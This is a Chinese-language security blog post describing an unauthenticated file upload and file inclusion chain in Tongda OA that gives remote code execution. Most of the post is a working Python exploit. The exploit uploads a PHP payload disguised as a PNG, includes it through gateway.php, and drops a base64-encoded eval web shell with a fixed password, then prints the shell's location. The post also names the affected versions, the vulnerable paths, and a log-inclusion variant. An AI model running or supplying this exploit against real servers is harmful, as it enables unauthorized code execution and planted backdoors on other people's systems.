通达OA任意文件上传并利用文件包含导致远程代码执行漏洞

1.分析
已经有90大佬对此分析了
通达OA任意文件上传分析
这里就不敢多bb了,简单阐述下流程吧。
在v11版本中,upload.php未授权上传文件,gateway.php可造成任意文件包含。
(坑:补丁中除了v11以外只有upload.php,当时看的2016版本,耽搁了一些时间。主要还是我太菜了233)

2.受影响版本
V11版
2017版
2016版
2015版
2013增强版
2013版
(ps:这里发现v11才有gateway.php,剩下的需自行寻找文件包含点,(我只测试16版本无gateway.php文件,其余未测))
更新
2017 /mac/gateway.php
v11 /ispirit/interface/gateway.php

3.利用脚本编写
这里直接贴相关代码吧

file='''
<?php var_dump("hello tongda_test");file_put_contents("../../../webroot/z.php",base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd0ZXN0J10pOz8+'));?>
'''
#文件上传
def upload():
    url=url_tmp+"/ispirit/im/upload.php"
    data = {"P": "1", "DEST_UID": "1", "UPLOAD_MODE": "2"}
    files = [('ATTACHMENT', ('xxx.png',file,"image/png"))]
    try:
        html = requests.post(url, data=data, files=files)
        if html.status_code==200:
            xx = re.findall(r'@(.*?)\|0\[\/vm\]', html.text)
            if len(xx)==1:
                path=xx[0].replace("_","/").replace("|",".")
                return path
            else:
                return 0
        else:
            return 0
    except:
        print("upload_error")
        return 0

文件包含

#文件包含
def include(path):
    print(path)
    url = url_tmp + "/ispirit/interface/gateway.php"
    data="json={\"url\":\"/general/../../attach/im/"+path+"\"}"
    headers={'Content-Type': 'application/x-www-form-urlencoded'}
    print(data)
    try:
        html = requests.post(url,headers=headers,data=data)
        if html.status_code==200:
            if "tongda_test" in html.text:
                print("[+] 漏洞存在!");
                print("[+] shell:"+url_tmp+"/z.php")
                print("[+] 密码:test")

    except:
        print("inlucde_error")

附上截图:
1.png
2.png

包含日志getshell
访问网站构造错误地址使其记录到log中
3.png
4.jpg
包含日志文件
5.jpg
4.漏洞补丁:
补丁下载

本文链接:

http://www.ba0z1.com/archives/39.html
1 + 5 =
快来做第一个评论的人吧~